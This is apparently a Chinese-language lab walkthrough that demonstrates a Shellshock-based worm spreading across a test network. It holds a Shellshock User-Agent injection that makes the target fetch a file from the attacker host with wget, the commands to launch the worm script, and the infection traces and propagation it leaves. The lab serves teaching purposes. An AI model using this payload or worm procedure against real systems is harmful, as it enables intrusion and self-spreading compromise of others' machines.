基于破壳漏洞的蠕虫实践

蠕虫简介

蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。

计算机蠕虫与计算机病毒相似,是一种能够自我复制的计算机程序。

与计算机病毒不同的是,计算机蠕虫不需要附在别的程序内,可能不用使用者介入操作也能自我复制或执行。它是直接在主机之间的内存中进行传播的。计算机蠕虫未必会直接破坏被感染的系统,却几乎都对网络有害。计算机蠕虫可能会执行垃圾代码以发动分散式阻断服务攻击,令计算机的执行效率极大程度降低,从而影响计算机的正常使用;可能会损毁或修改目标计算机的档案;亦可能只是浪费带宽。(恶意的)计算机蠕虫可根据其目的分成2类:

一类是面对大规模计算机网络发动拒绝服务的计算机蠕虫。

另一类是针对个人用户的执行大量垃圾代码的计算机蠕虫。

 

步骤一

 

任务描述:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞

1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

基于破壳漏洞的蠕虫实践

 

 

2.根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞。

 

实验步骤二

任务描述:蠕虫发起者执行蠕虫程序,感染1号主机Worm1。

1.为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。

[root@worm-master ~]# touch /tmp/key.txt

2.继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

基于破壳漏洞的蠕虫实践

 

3.登录worm1,查看/tmp目录。

[root@worm-test1 tmp]# ls -al

total 12

drwxrwxrwt.  3 root root 4096 Jun 25 03:25 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 ..

drwxrwxrwt.  2 root root 4096 Jun 24 11:35 .ICE-unix

-rw-------.  1 root root    0 Jan  9  2014 yum.log

基于破壳漏洞的蠕虫实践

 

4.继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。

[root@worm-master shockworm]# perl shellshock.pl

local ip is 10.1.1.231

targetIP is 10.1.1.12...

Done!

[root@worm-master shockworm]#

基于破壳漏洞的蠕虫实践

5.登录Worm1,执行下面的命令,观察被感染的特征。

[root@worm-test1 tmp]# ls -al

total 16

drwxrwxrwt.  4 root   root   4096 Jun 25 13:52 .

dr-xr-xr-x. 22 root   root   4096 Jun 24 11:35 ..

drwxrwxrwt.  2 root   root   4096 Jun 24 11:35 .ICE-unix

drwxr-xrwx.  2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj

-rw-------.  1 root   root      0 Jan  9  2014 yum.log

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

agent.1336  agent.1337

[root@worm-test1 tmp]# ps aux | grep agent.1337

apache    1827  0.0  0.8  33884  4420 ?        S    Jun24   0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337

root      3512  0.0  0.1 103244   864 pts/1    S+   13:56   0:00 grep agent.1337

基于破壳漏洞的蠕虫实践

通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序,如下图。

 基于破壳漏洞的蠕虫实践

 

 

 基于破壳漏洞的蠕虫实践

 

 

实验步骤三

1.登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:

[root@worm-test1 tmp]# ps aux | grep curl

apache    3741  0.0  0.2  11300  1280 ?        S    14:03   0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l

apache    3742  0.0  0.6  73992  3072 ?        S    14:03   0:00 curl http://10.1.1.16/test.cgi

root      3752  0.0  0.1 103244   852 pts/1    S+   14:03   0:00 grep curl

[root@worm-test1 tmp]# ps aux | grep curl

apache    3753  0.0  0.2  11300  1276 ?        S    14:03   0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l

apache    3754  0.0  0.6  73992  3076 ?        S    14:03   0:00 curl http://10.1.1.17/test.cgi

root      3758  0.0  0.1 103244   856 pts/1    S+   14:03   0:00 grep curl

从上面命令的执行结果,可以看出,蠕虫正在攻击10.1.1.16和10.1.1.17。

2.经过一段时间之后(大约10分钟),登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染。对比效果如下图:

基于破壳漏洞的蠕虫实践

 

15:27分tmp目录下产生了感染文件

基于破壳漏洞的蠕虫实践

 

 

上一篇:攻防世界Web:cat


下一篇:curl常用设置